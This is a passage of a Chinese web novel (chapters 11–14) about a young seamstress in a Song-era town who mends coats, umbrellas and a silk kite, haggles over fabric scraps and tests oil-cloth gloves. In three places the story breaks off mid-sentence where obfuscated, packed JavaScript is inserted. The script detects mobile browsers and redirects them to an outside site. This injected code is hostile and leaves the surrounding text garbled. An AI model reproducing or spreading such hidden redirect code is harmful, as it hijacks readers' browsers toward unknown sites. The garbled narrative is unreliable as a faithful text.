在路口遇见张娘子,忙叫道:“娘子你来,那伞我给你再刷层桐油,补得结实点。” 张娘子去取了伞,又觉得她这生意做得太过实诚,白占了她便宜,不免说:“在这支摊虽说离家近,可来往人不算多,不如到我那去,我把地方分给你点,商税是要高一文,可补衣的人多。” 林秀水一边埋头补伞,一边问:“是哪里?” “就南货坊边上那…” 这地名越听越耳熟,林秀水一想,那不就是桑桥渡这边最繁盛的地段。 11.第 11 章 补完伞天将黑,林秀水拿桐油进屋里。 小荷在玩打娇惜,手里握着小棍,上头有绳,手一甩抽的那木头尖儿到处乱窜。 “新买的耍货?”林秀水避开这乱旋的东西,她将桐油放在门口桌子上。 小荷玩得更起劲,她蹲地上大声说:“娘带我去药铺,说我乖给我买的。” “放屁,一进那药铺里头,拽都拽不住,”王月兰惯会拆台,“没法子拿了三文钱买这东西,这才进去,郎中看了后叫我上太平惠民局拿点治积热的熟药。” 林秀水放了心,她趁天还有些亮光,把前两天缝好的油布手套拿出来,堆在竹篮里,搬了小桌到天井,坐好后取小刷蘸桐油,涂在手套的接缝处。 原先已经涂过两遍柿漆,她仍不满意,仔细观察给姨母的,翻到背面里头沾了不少蓝绿色。 姨母说她只用过两三天,表明柿漆防不住水,这东西还是染布好用。 她正细细涂抹桐油,恰好王月兰拿坏米出来喂鸡,她便停了手道:“姨母,明日你先拿二十双去染肆吧,叫娘子们用了先试试,要是渗水,不好抓握,就退回来我再改改。” 这活已经接了好几日,苦于没有桐油,林秀水即使缝好了,也压着没给,得对别人负责。 毕竟油布再好也没法代替后来的塑胶。 这种单油布做得还欠佳,林秀水已经在想日后往内里糊纸的事情,听说有种清江纸材质特别坚韧,都能做成纸瓦盖顶挡雨。 不过她还是太穷了,纸可比桐油贵多了,桑桥渡一百二十户人家,也就十来户能用纸糊窗户的。 卖油布手套的事,只能一步步来。 王月兰走过来拿起手套瞧,捏了捏那手套前面,觉得有些硬,不知道浸到热汤里会不会好些,得明日叫人先试试。 林秀水一路走来都在寻思张娘子的话,此时便道:“姨母,张娘子说叫我明早上南货坊东头那边,把她占的地方分我点。” “什么?她说叫你去南货坊那?”王月兰连问两句,而后自顾自地接着说,“那地方是个好地方,只是不大好混。” “我记得她支摊那里不大,挤挤也不大好,你应下了?” “没呢,我只说自己先去那瞧瞧。” 林秀水有自己的考虑,她眼下在桑树口的生意算不上很好,想先占着这地,再上南货坊那瞧瞧,地方合不合适。 至于在张娘子旁边摆摊,她没有答应,主要张娘子是卖糖粥的,吃食跟她补衣裳实在不大相合。 到时候人家烧炉子,加炭取炭,总有灰要落到边上的,而她补衣裳还行,要是补伞,桐油味把人家糖粥盖过去,迟早得出事。 王月兰知道她有成算,没有多说,哪怕她俩是亲的,有些闲话和指教也少说为好。 吃过饭林秀水便睡了,但左右睡不着,早早醒来。 林秀水蹲在后门洗脸,用刷牙子时,报晓的僧人从桥边过来,敲着铁板儿,报了五更天,又喊:“天色阴晦。” 今日是个阴天,阴天必有雾。 桑桥渡雾大,溪上连船影都瞧不清,但到了南货坊那地界,同样五更天,雾却薄薄一点。 林秀水觉得,这里人太多,雾全被他们吸到肚子里去了。 要说桑树口清净,五更天只有猫狗叫两声,可这里早早地摆摊叫卖,过了桥东边是南货坊,那边卖蚕匾的,又卖蚕沙,也就是蚕粪,二月下雨天,要撒蚕沙,捆桑绳,正月种了桑秧,到这会儿要修桑,所以还有卖桑剪的。 桑青镇蚕桑事务为重,到三月就进了蚕月,这时卖蚕桑的东西多,南货坊要等辰时才开门。 而桥西边则是南瓦子,也叫瓦舍,是镇里人聚乐玩耍的地方,那里头排场大,有茶肆、酒肆、勾栏、食铺、看棚,又有诸般杂剧、蹴鞠、相扑、说书等表演。 林秀水可掏不起银钱看,倒是这外头地面,也就是瓦舍前的大道,因这种地没有可征税的人,叫公科地,那些混不到瓦舍里的赶趁人和路岐人只能这种地打野呵(表演)。 什么做傀儡戏、唱杂剧的,起早就引得人饭也不吃,只管凑到跟前看,反正这么早的天,林秀水都没能挤进去。 至于张娘子说的地方,实在有点小,林秀水施展不开,她放眼瞧去,这全部的空地竟是都摆满了浮铺棚屋地摊,她能插个空进去的地都没有。 甚至街上供驴子、牛走路的道,也全挤占了货物,反正侵街他们也不怕,大不了交个侵街房廊钱。 南货坊之大,压根容不下她。 林秀水灰溜溜回到桑树口,见到来收商税的李巡栏,还是有点不甘心,“李巡栏,那南货坊和瓦子边上,有没有空地可以支摊的?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490538|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那啊,”李巡栏摇摇头,“这眼下哪有,地方抢手得很,我保证帮你一百二十个留心。” “就是,我这有个棘手的活,还想你帮个忙。” 林秀水笑说:“巡栏只管说便是。” 李巡栏干咳一声,“你等等啊,等我这片收完拿了东西来。” 在等他的时辰里,林秀水接了两个活,给走路不好好走的小孩补裤子,好好一条裤子,硬是成了开裆裤。 那小孩裹着半条布,光着腿绕着桑树跑,他娘在后面用桑条追着他打,“你再给老娘折腾裤子,我给你送去相扑那,连裤子都不用穿。” “好啊,”小孩爬上树,嬉皮笑脸,“我正好不想穿裤子。” 他娘气得火冒三丈,林秀水都听乐了。 最后裤子补完,她赚了一文钱和乐子,那小孩失去了裤子,他娘满足了他的愿望,光着腿回去的。 再等卯时边上,林秀水补完件衣裳,李巡栏过来了,但是不巧,陈桂花居然也带着人过来了。 陈桂花喊:“阿俏,这船布郎要给风筝补洞,你上次给我补得不挺好,我一看,哎,这你肯定能补啊。” 两波人到摊前,林秀水站起来,她说:“你们谁先说。” 李巡栏低头道:“他先说吧。” 那陌生男子转过脸道:“还是巡栏先说吧。” 两人都推让,林秀水看出名堂来,“要不你们一起说?” 这两人都松了口气,你一言我一语地开口,声音还特别小。 林秀水听了好一会儿,一脸默然,跟李巡栏说:“你想要补这件,被花狸抓花了的袄子,最好换块新布,丝绵重新翻一翻?” 其实她就听出了,这袄子是他娘子的,结果被他养的花狸抓破了,他想要将功补过(毁尸灭迹不挨打)。 她又问那新来的船布郎,“你想把这绢布风筝给补上,最好跟新买的一样?” 这林秀水只听到了,从明州给闺女带的风筝,结果被布料压烂了几个洞,想能随便糊弄过去,反正小孩眼睛没那么灵,看不出好坏。 两人异口同声,“能不能补?” 好麻烦的两个单子,林秀水犹豫,一个得拆整件翻丝绵,最好绗(háng)缝再补后片,一个压根不能织补,得要补绣,跟绣补可不同。 她说:“能补,得加钱。” 12.第 12 章 “翻丝绵眼下的市价是二十文到三十文,我收二十便成,拆衣裳别人收两三文,我不收钱。” 林秀水继续翻看那件绵袄,要拆的地方不算多,后片全烂了,前身倒是可以保留,而且这袄子袖宽身短只到腰间,按短袄来。 她便说:“短袄缝整衣要五十文,只缝后片二十文,但是李巡栏你说想袄子穿得不板结,不用捣衣,我这里有个缝补法子,只是耗时,得加钱二十五文。” 她解释了绗缝,把丝绵夹在两块布里,用线一条条交叉缝住,让丝绵包在如菱格、方格、竖条等团案里,便不会整块板结和跑绵。 “总共六十五文,这件衣裳我要接手,从拆到缝到翻丝绵,得三日工夫才能做好。” 林秀水把钱数一笔笔拆开来说,尤其她面前是个讨要商税的巡栏,对钱最上心。 关于缝补衣物上的价钱,林秀水可不是乱说的。 她每日从彩衣巷到桑桥渡,走路得经过渡水桥,桥右是百工巷,那里住着打铁匠、扎熨斗的、炉匠、烧砖烧瓦的,做脚夫运东西的,所以那一条街有最多补衣物的娘子、婆婆。衣价都是她一样样问来的,若是只打补丁、只缝破线才一两文到五文,可要加上其他费时的,价钱才会多些。 李巡栏对这个价钱挺满意,他一日工钱便有百文,虽说每次月钱领到手,在他兜里热不过半刻便被他媳妇收走,但他总有偷摸藏的。 “你只管缝,跟原来差不多就成,”李巡栏怕闹笑话,只私底下同林秀水说,“你要是补不好,这件事被我夫人知晓,猫同我那就是有家不能回了。” 林秀水先收他三十文,她一枚枚数完才笑道:“不满意我替你跟娘子赔罪去。” 李巡栏临走前说:“那我可先谢你了,我得巡栏去了,你可千万得上心,上七百二十点心啊。” 她真想说,她上千万份心,指定不能叫猫有家不能回,最好能把作案喵带来给摸摸,不,瞧瞧。 林秀水整理好袄子、丝绵兜和布料,看向站在旁边的船布郎,以及他手里拿着的蝶形绢布风筝,那上面的图案花里胡哨,有七八种颜色。 这时候盛行的是纸鸢,又称鹞子,在纸鸢上装竹笛、哨子,能发出声响的,才叫风筝,有纸、绢两种形制,绢布的价钱比纸要贵一点。 而且林秀水伸手揉搓这风筝面,是绢布里的细绢,价钱要更贵。 她在看的时候,陈桂花拿自己衣裳比画,兴奋地同船布郎说:“保管不骗你,那么大的洞,她补得跟没烧过一样,才三十文,你这个指定也是这个价。” 这件事已经成为陈桂花贫瘠的人生里,一件可以拿出去同人炫耀的谈资,每当她讲起如何花三十文免去三贯的赔偿,哪怕是厌烦她的人,也总忍不住听她说话。 而现在,她又找到了另一个跟她相同的人,充满了他乡遇着同块破洞的兴奋。 “哎,桂花姨,”林秀水忙放下风筝,“打住啊,这跟你那衣裳可不一样,要我按你那次补法,别说三十文,得要五百文。” “啊?” “啊?” 船布郎跟陈桂花都发出了不可思议的惊叹。 林秀水真没说笑,首先陈桂花那天拿来的衣裳,并不是细绢,而是比粗绢好一点的绢布。 如果说粗绢的孔眼是纱布上的孔眼,扯一扯就会出现,那么细绢的孔眼便是针尖,她如果想不开,想换双眼睛的话,她才会选择织补。 另外衣裳同色的话,用原线补起来是不费劲的,但是,这风筝上颜色那么多,破洞的地方,大大小小涉及六七种颜色,织补得要每种线都染相同的颜色,或是拿颜料涂。 她只是想赚钱,不是真疯了。 “得补绣,补绣你自己出布,要五十文,”林秀水低头看风筝,思索要用什么颜色的布。 比起五百文来,五十文要好接受得多,但船布郎不大信她,狐疑道:“只听过绣补,什么叫补绣?” “绣补是在布上刺绣,那么补绣,则有两种,”林秀水用布做样子,跟他粗粗解释一番,“一种是堆绫,用绫子这种布剪了堆上去,你这个风筝要用到的是贴绢,拿绢布剪了图案和样式后再绣。” 实则讲起来很费劲,补绣在唐朝时分为堆绫和贴绢,到了以后才变为宫廷补绣,成为非遗。 林秀水记忆里对补绣的过往模糊,她在梦里无法得知之后具体的朝代,最清楚的是裁缝的种种手艺。 这话还是叫人费解,船布郎只想花点小钱叫人补补,他看林秀水年纪这么小,觉得她糊弄人。 他就稀罕那种头发花白,满脸皱纹的老婆婆尤其是干了二三十年,那种一看见脸就心里踏实了。 “风筝我先不补了,晚些再说,晚些再说,”船布郎抄起风筝就打算走,他今早怕是疯了,才信陈桂花这张嘴。 连那个巡栏他也觉得是林秀水请来骗人的。 林秀水不奇怪,心平气和地说:“郎君要是还想补,钟鼓声到酉时边上来这里。” 船布郎头也不回,大步走了,他不会回来的,要是回来他就是狗。 “嘿,你咋不留着他一点呢,这摆明了不信,”陈桂花着急,往前跑两步,又往后小跑回来,捂着心口皱眉道,“五十文没了!没了!” 林秀水失笑,搞得这钱姓陈一样。 而且怎么就会没了,她赌这人会回来。 陈桂花一边惋惜,一边指指自己,满心期待地问:“秀姐儿,你看我能不能学这手艺,我给你当徒弟。” “我觉得补衣这行当不适合你,”林秀水说得很认真,“这身板不去双线行做鞋可惜了。” “你怎么知道,我真是做鞋的一把好手,谁扎的那线都没有我扎的深,”陈桂花惋惜,只可惜人家不要她,嫌她扎鞋跟杀猪一样有劲。 “哎哎哎,你咋走了,回来我们再说说啊。” 林秀水从走变成跑,跑到家里回去,放下东西锁好门,惹不起她还躲不起吗。 五更天起的床,折腾一早上才天刚亮,柴家夫妇送了一船柴来,王月兰在后门用篓子接柴,柴大多是桑树条,桑青镇里桑条最多,也有引火的松柴,其他柴少,临安府到处缺柴缺得厉害。 林秀水舀了粥先垫垫肚子,又问柴娘子,“娘子,那几件衣裳好不好穿,兴哥儿还哭不哭了?” 她把那几件宽衣裳改成只到屁股下边,这会儿还得换尿布,而且腿爱动的兴哥儿不喜欢穿裤子。 改完衣裳,她还特意跑去柴家,教人家怎么裹襁褓。 “好穿,再没有这样服帖的衣裳了,”柴娘子一说起这事,笑得合不拢嘴,“我自打生下他后,从不知他这么好带,旁边几家也不闹着跟我说要上官衙了。” 林秀水也笑说:“可别再用绳子绑脚了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她边缝边想,多此一举,抛媚眼给瞎子看,还要她一点点缝两道细线,怪不得比缝领抹价钱高。 以至于今日下工,许三娘子给她数三十文时,说笑道:“不如你来油衣作里,跟着我做算了,日后还能给你调去官营作坊里,钱数更多。” 林秀水极力克制自己想摇成拨浪鼓的头,她立即婉拒了。 油衣作她的出路有限,而且枯燥,但是在成衣铺里,她日后能做春衫夏服,布料样式多,纹样也丰富,最主要她想在裁缝作里寻个师傅。 她跟于六娘告辞,今日缝得手疼,屁股也疼,油衣作那椅子特别硬,她走得很慢。 一路回到桑桥渡,林秀水没回家,在等不远处的钟鼓敲响,站到桥头边上,心里在赌,赌船布郎会回头来找她补。 赌输不亏,赌赢赚五十文。 结果还没等钟鼓响起,船布郎那花花绿绿的船从远处行来,等那船停靠到岸,船布郎走出来,结果猛不丁看到林秀水,他立即低头找脚,过一会儿才干笑抬头道:“小娘子” “这,我这风筝还是得麻烦你啊,五十文是吧,我这会儿就付!” 林秀水有点小得意,兜兜转转这钱还是要进她的兜里。 当然相比起钱,她对他船上的布更感兴趣。 13.第 13 章 没人能懂船布郎这一天的心酸。 他原以为桑青镇裁缝一抓一大把,补个绢布风筝而已,路边随便哪个补衣妇都能补。 结果倒好,补衣妇说补不了,只补麻布,让他上别处去,路边又有成衣铺、张家老裁缝铺,陈家绣娘铺,他挨个进去。 成衣铺压根不补这,老裁缝要收三百文,加布料钱两百文,绣娘说得花两天绣,丝线钱三百文,绣工五百文。 船布郎吓了一跳,这绢布风筝买来才不过五百文。 实在不成,他去找做纸鸢的匠人,春日当头,放纸鸢的人多,街头巷尾处处有纸鸢匠。 人家一听,说要拆了细竹骨,重新糊纸上去,只要百文就行,船布郎哪里能答应,那他这个绢布风筝不是白买了! 兜了一圈,磨破嘴皮子,最后还得灰溜溜来寻林秀水。 林秀水老早就知道,他听了价肯定会死心,因为全桑青镇补得好的,找不出比她便宜的,要价比她便宜的,没有她补得好。 总有一天她会叫大家知道,便宜也是有好货的! 她拿起风筝,船布郎唉声叹气,“早知道就在你这补了,一日下来,连生意也没做成。” “你今日定有生意,”潜在主顾林秀水满口实话,“补风筝不着急,最迟也得明日补好,你先让我瞧瞧布。” 幸好这船布郎是卖布的,最不缺布料,最多的是麻布、白苎布,其次有葛布、绢布,还有大幅的布被面。 颜色倒不算多,市面上常见的红、蓝、绿和青,只是每一种颜色深浅不同。 林秀水进了这船舱,看见这堆叠的布匹,眼神放光,一问价钱,她的光就如同被吹熄的蜡烛。 算了,买不起。 她先是找齐了要用的绢布,然后说:“我们还是再看看布头吧,我找找有没有能用的。” 船布郎抄起一个麻袋,放到船头扯开绳子,“这里头全是布头,随你挑,这都是我从临安府拿的布头,别看有些不大,料子多着呢,绫罗,连绸缎的都有,花色也多。” 林秀水原本还心有忐忑,还以为是裁布时留下的碎布片,要买布头不好砍价。 一把这几片布料拿出来,确实有绫子、绢布、棉绸片,颜色也不错,水红、枣红、淡绿。但她总觉得哪不对,又摸了好几把布片,走出几步,对着光细瞧了一番,心里有数了。 她先是问:“这袋布头怎么卖的?” “你想买啊,”船布郎伸出一根手指,“给你这个价,别人买我要翻倍呢。” 林秀水故意道:“十文啊。” “小娘子你可别拿我说笑了,”船布郎连连摇头,“哪有这么低的价。” “这也不值百文啊,”林秀水指指一块巴掌大棉绸,上面有油渍,边缘也是胡乱裁的,她笃定,“别人旧衣里拆下来的吧,最多值三十。” 船布郎登时怔住,脸上难掩惊异的神色。他这布头压根不是临安府来的,就是从估衣市买来的旧衣,里头绫罗绸缎多,是因为半数以上是质库放出来的死当,还有成衣铺裁坏的衣服以及抄家后被偷出来卖的。 他反正卖布满嘴飘谎话,花一百文买的,把烧坏的,不大好的衣裳剪一剪,修一修,裁成布头转手又能卖几百上贯。 这次被看穿,倒也不恼,只是纳闷道:“你哪瞧出来的?我卖那么多人,谁也没说过。” 林秀水在“他们眼神都挺差”和“懒得戳穿你”里,选择回:“我眼神太好使。” “百文不行,三十文最多。” 船布郎急忙道:“姑奶奶,这杀价也不是这样的,多少给我抬点。” “最多三十五文。” 船布郎一退再退,最后无奈道:“五十文,真不能再少了,就当抵了补风筝的钱,” 这正合林秀水的意。 她把船布郎给她的五十文,又原封不动还回去,“我就说你今天有生意上门吧。” 船布郎抖着唇,没话可讲。 他看着林秀水左手拿一麻袋布头,右手拿风筝,摸着手里的一串铜板,喃喃自语道:“我咋觉着自个儿亏了呢。” 亏大了! 林秀水却觉得自个儿赚到了,转身眉梢眼角挂满了笑,其实卖三百文也值这个价,不管旧衣从哪来的,好布料的手感不会骗人。 但她会骗人啊。 林秀水拿了麻袋回去,屋里没人,她先是找了个竹匾搁在长凳上,倒出布头来,有股潮闷气。 刚在船头只瞧了上头的,都是些纹样多,亮色的棉绸、绫罗、细绢小块,底下一倒出来,则大多是大块皱褶的白苎布、白细麻布或是素色的粗绢,再掺杂一点青绿红的布料。 只能说买的不如卖的精。 林秀水仍旧欢喜,素色的也好,可以自己染,她能用这些布头做不少东西了。 挑拣了会儿,最后决定朝楼上喊:“小荷,快来帮我挑布,颜色一样放一块。” 小荷从木窗里探出脑袋,她跑下来说:“哇,哪里来的这么多,啊,破布?” “什么破布,”林秀水已经挑好了绢布,她坐在桌子前,开始修风筝的破洞,“你挑好了,我给你做双猫头鞋。” 小荷飞奔去拿凳子,边蹦边说:“我挑,我挑。” 坐不住一会儿,小荷又把头挨到林秀水肩上,好奇道:“阿姐,你这鹞子怎么破了?” “破了别人才要修啊,才能有银钱赚啊,”林秀水一边回她,趁着还有光,开始补这只风筝。 这风筝有三处大的破洞,四处小的,这风筝骨架是竹木的,用线缝住固定,不像纸鸢是胶粘的。 她用剪子把线缝剪了,将竹木骨架放好,取下风筝面,补绣不是瞎补,得根据花样来。这只蝶形风筝是黄底的,两侧为柿蒂纹,这种类似于柿子顶花萼的纹样,在临安府很盛行。 因为柿蒂纹里的柿有事事如意的期盼,而柿根有木根坚固之最,又衍生出永久长存的意思。 林秀水在窗棂、砖瓦、陶罐、木雕上都见过,布匹上尤其多,小孩衣物纹样大多为柿蒂纹。 但这风筝上的柿蒂纹有很多层,底面是青蓝菱形,内里一圈土黄条,再是橙色四瓣花萼,边角有暗红的尖顶叶片。 她至少需要这四种近似色的绢布,根据形状裁剪贴补,力求做到近似,至于其他小洞,再挑杂色布剪贴出花瓣装点。 先取一小块蓝布裁成比破洞大的菱形,再沿边细细下针,线用的是绢布拆下来的绢线,极细,这布不能涂糨糊,等糨糊干了这圈布会发硬。 其次先绣边缘黄条,再则是剪了柿蒂纹样再缝上去,针得斜着下,撩针挑线,不让线太显眼,这虽然不是她头次补绣,总还是有点忐忑。 实在是这绢布很薄,风筝当然越薄越好,但对于她要补的人来说,则很考验手艺,每下一针得想清楚,不能来回拔针。 随着天渐黑,原先那破掉的大洞,则渐渐的,变成风筝原有的纹样,除去颜色差异和轻微凸起,那图案跟原本就生在一起的一般。 林秀水补完大洞,准备着手补小洞,抬起头才惊觉天早黑了,手边还有两盏麻油灯,一碗早已冷掉的面。 这才想起,姨母回来叫她吃饭,她嘴上说吃,手里还忙活,压根没吃。 她揉揉酸胀的肩膀,王月兰见她动了,才过来没好气道:“什么要紧的活,不能吃了再做,这冷饭别吃,灶里还有焖着的饭。” 王月兰又拿来几副膏贴搁桌上,她说:“你贴手上啊,这膏贴好用的,我问人家问来的。” 林秀水怔住,她可从没跟姨母说过手疼。 “吃饭去呀,愣着做什么,”王月兰的手在她眼前晃了晃,“怎么,眼睛疼?” “没有,”林秀水揉揉眼,她轻轻地说,“膏贴好贵的。” 王月兰掏丝绵兜,装听不见,这没娘的小孩,到了她这来,冷也不说,饿也不说,疼也不说。 “吃饭去。” 林秀水怀揣着热烫烫的膏贴,去灶里拿吃食,是骨头汤面,她坐回到桌子前,此时天黑有星,小院有风,两盏麻油灯一晃一晃的。 王月兰在她旁边拿出丝绵兜,像半只袋子,她之前手里涂了猪油,还油润润的,撑开丝绵,中间挖个小洞,从袋子变成丝绵圈,这样做裤做袄,要扯成长条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508506|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是做丝绵被。 要想变成一整块薄而暖和的丝绵,得要两个人一块扯,力道要相同,手速要匀称。将圈扯薄扯成丝丝缕缕,扯得好,大小一样厚,扯不好,这边薄那边厚,则再翻翻扯扯,缝补一通。 原先林秀水想搁了碗,过去帮忙的,小荷却跑过来,她撸起袖子说:“我也会翻丝绵的。”林秀水惊讶,“真的啊?” “我翻得可好了,去年也是我同娘一道翻的。” 王月兰扯扯丝绵圈说:“没法子呀,找别人翻就得欠人情,早些年我叫别人一道来翻丝绵,喊了一次,那年我给别人翻了十来趟。” 后来她再也没翻过,去年冬天里冷,想着给林秀水捎丝绵袄,买了废茧自己弄的,一遍遍教小荷扯绵兜子,教了好久,总算扯得比较像样。 这个夜里,小院里,麻油灯旁,林秀水借着光在补风筝,旁边时不时投下影子,小荷跟王月兰扯丝绵,那绵影罩住了林秀水,棉絮时而像轻雪飘下来。 没有炉子,她也总觉得热烘烘的,大抵是手上的膏贴很烫,她会时时记得。 第二日早,补完的风筝出现在船布郎手里。 他还没睡醒,刚看一眼,奇怪道:“你不会是上哪买了只新的吧?” “要不你再瞧瞧呢,”林秀水打了个哈欠,“我有那钱再买只新的。” 船布郎蹲河边洗了把脸,刺骨得冷,他嘶了声,再眨眨眼细细瞧,嚯,这风筝好,乍一看花里胡哨,再一看,那不是原模原样吗? 哪里像破了洞的,他贴到眼睛边瞧,才能看到一点点线头,再反过来看,缝了新布,服服帖帖的,连半点缝补的痕迹也看不出。 他下回再也不信什么补衣老婆婆了,这年纪小的,才是真厉害。 船布郎是看了又看,用手戳了又戳,才满口夸赞:“小娘子你这手艺,别说五十文,百文都亏了。” “那要不,”林秀水突然来了精神,“你再补我五十文。” 开玩笑,那不可能,船布郎嘿嘿笑,“以后啊,好说好说,要还有这活,我再找你。” 林秀水就知道,她轻哼一声,挥挥手走了。 还下回,下回她就要价一百文了。 补好了风筝,还有件绵袄。 这件衣服倒没有太多的技术,除了绗缝,林秀水确定好布,将丝绵夹在里头,一道道斜线用针缝过去,再交叉缝斜线就好了。 在油衣作里待上几日,满身的桐油味,人总会油滑起来,是的,她已经学会晌午休息的工夫,缝自己的活计。 于六娘还颇为不解,“针你也自己带,其实你要用油衣作的针算不了什么。” 她压低声音,“你怎么这样实诚,你当桐油作里大伙不偷油的吗?” “怎么个偷法,装罐子里?”林秀水缝着线,颇为不解。 于六娘一脸你这就不懂了的神情,悄悄告诉她,“那当然是每天换双鞋来,把家里七大姑八大姨的都穿来,那桐油沾鞋底,糊鞋面,干了后,就成了两三贯一双的油鞋。” 桐油作管桐油挺严,要搜身的,不能把桐油带出去,但鞋上沾了桐油是不管的。 为此闹了许多的笑话,男穿女鞋,女穿男靴,一个小,一个大,硬穿硬挤硬拖,每日进出看大伙穿的鞋,就够有乐子瞧了。 林秀水完全想不到,这一行真是有一行占便宜的法子。 她被逗得笑到针差点扎了自个儿的手,又从自己带来的小包里,取出几块颜色鲜亮的布头,“你说这给你闺女做虎头鞋成吗?” “那哪不成了,这色太好了,”于六娘忙道,又说:“你鞋底面还没纳吧,明儿拿过来,用这里的针,扎得比双线行那的还要深。” “一百三一根的针呢,不用白不用。” 林秀水失笑,合着还得占一占针的便宜。 于六娘又道:“明儿你穿鞋子来。” “那我脚上穿的是什么?” “穿双硬鞋,宽脚的来,”于六娘朝她勾勾手,在她耳边说,“明儿得去桐油作里帮忙,他们涂油布伞。” “你不得给自己鞋子上点桐油,抬高下身价。” 14.第 14 章 去桐油作的那日早上,林秀水穿了双王月兰的鞋。 两人脚掌差不多宽,这双的鞋底硬。 “你又作什么怪?” 王月兰真是闹不懂,她也懒得管,走到门边才记起来,“上次叫我拿的油布手套,我昨儿带回来三双,都渗水了。” “我先瞧瞧,”林秀水伸手接过一双,一股潮乎乎,带着点明矾的酸味,翻开手套里头,上面沾了蓝绿色。 她细细看了眼,也不是从接缝处漏的。 到油衣作里时,林秀水把手套给于六娘瞧,虚心向她请教,“这到底是怎么漏的?” 于六娘觉得这东西真怪,她看一眼油布,又上手摸了摸,直接道:“这是粗麻布上的桐油,一般用来做油布伞的,你这种浸到水里的,最起码得用细麻,这桐油上的也不大好,有的厚有的薄。” 林秀水又问:“要是想让这油布浸在水里,怎么都不漏呢?” “那一是多上几遍桐油,上个五六遍最好,这样久了开线才会漏,”于六娘用布擦着针头,“这第二则是,把整布浸到桐油桶里,泡个三五日,那做出来的东西,保管你日日浸水里都不漏。” “怎么,想做油布生意了?” 林秀水在试新的剪子,琢磨这两个法子,都不是眼下能用得上的,看来还是得先买桐油。 听见于六娘的话,她如实说:“那倒不是,就想寻个法子,叫这好使点。” “好用才能换钱不是。” 于六娘试了试这手套,有点新奇,把剪子套手上试了试,裁衣拉布的碍事,浸水里能用,但是不耐用,她忽然眼神一亮。 “我想着了,”于六娘给林秀水支了个招,“你卖给桐油作的啊。” 林秀水嚯了声,“对啊,我咋没想到呢,我卖给桐油作上桐油的啊,六姐儿,还是你脑子活。” 哪怕不要钱就给他们用,再回收他们用过的油布手套,那防水应当很好。 她琢磨着这件事,此时许三娘子过来说:“有谁要上桐油作那涂伞的,就今日啊,他们忙着呢,也按一日三十文的缝衣价钱给。” 三十几个人半数低下头,压根不想过去,那涂桐油可比缝衣辛苦,桐油还老滴在手背上,黏糊糊的难受。 “我去,”林秀水站起来说,于六娘也跟着出来,后头还有几个人。 许三娘子给她们领到了桐油作,自个儿走了,林秀水进去,满地没涂的油布伞,酸溜溜的桐油味,地上铺了油布,但桐油东一堆西一堆,特别滑溜。 踩在这上头,鞋子确实能变成油鞋。 她领了刷子和一桶桐油,今日还穿了耐脏的褐布衣裳,然后在一堆人里,掏出手套给带上,开始旁若无人地给伞刷桐油。 刷得还特别快,压根不怕桐油滴到手上,都啪嗒一声落在手套上了,不用瞻前顾后的,一把油纸伞刷得比旁人都要快。 林秀水的这个举动不讶于拿着火把进桐油作,哗得就炸燃了,好些人手里涂着,眼睛瞟她,从斜眼瞧变成正眼看,再是活也停了,目不转睛地看,同旁边的人嘀嘀咕咕的。 有人就问了,“小娘子,这手上戴的是什么?”“那叫手套,”于六娘在桐油多的地方踩了一圈,回来帮腔道,“套手里防桐油的,你瞧那一个个手指头,又能抓又能握,沾了桐油也不怕,等它干了就行。” 于六娘是不爱用,林秀水也给她带了一副,硬忍着难受套手里,一顿胡吹。 林秀水想,那都是她该吹嘘的话啊。 不过吹嘘什么的,不如自个儿上手试试,这会儿才刚上工,管事的都没来,一人一只套上用。 “嘿,还真别说,这东西要是再软些就更好了,不怕桐油老粘手了。” “我倒觉得硬得好,这桐油滴到手背上,不看都不知道。” “好是好,就是捂得慌,不如自己手转着有劲。” 一圈传过去,说什么的都有,不少娘子倒是很满意,说油布有,央林秀水做几双来,实在受够了日日手抹桐油了。 林秀水满口答应,这回她也没要钱,收了油布,只说十日后把这旧的油布手套给她,要求是不能有破洞,不能漏,她再还双新的来。 这明摆着是占便宜的事情,哪怕不想要的,也都说要来上一双。 林秀水因此收了好多油布,于六娘还很不解,“你干什么不收钱,一文都能赚个三十几了。” 林秀水说:“要放长线钓大鱼。” “什么,这时候你还要钓鱼?” “我涂伞去,”林秀水转身,她还是涂自个儿的伞去吧。 下晌她还收到涂油纸伞的人拿来的油布,说也要请她做一双,看这稀奇的东西好不好用。 这一日在桐油作里,林秀水除了糊油布伞,拿鞋底蹭桐油外,一直没停过嘴,跟糊伞的娘子交情处得挺好。 除了桐油味外,林秀水还挺喜欢桐油和油衣两个作的,但是到了这里后,她的头发一股桐油味。 她每隔两日烧水洗头,她能这么做,纯属她头发少。 林秀水头发软,长得也不快,但用皂角特别费,因为还老折腾她的几件衣裳,洗了又洗。 桑青镇皂角便宜,三文钱一把。 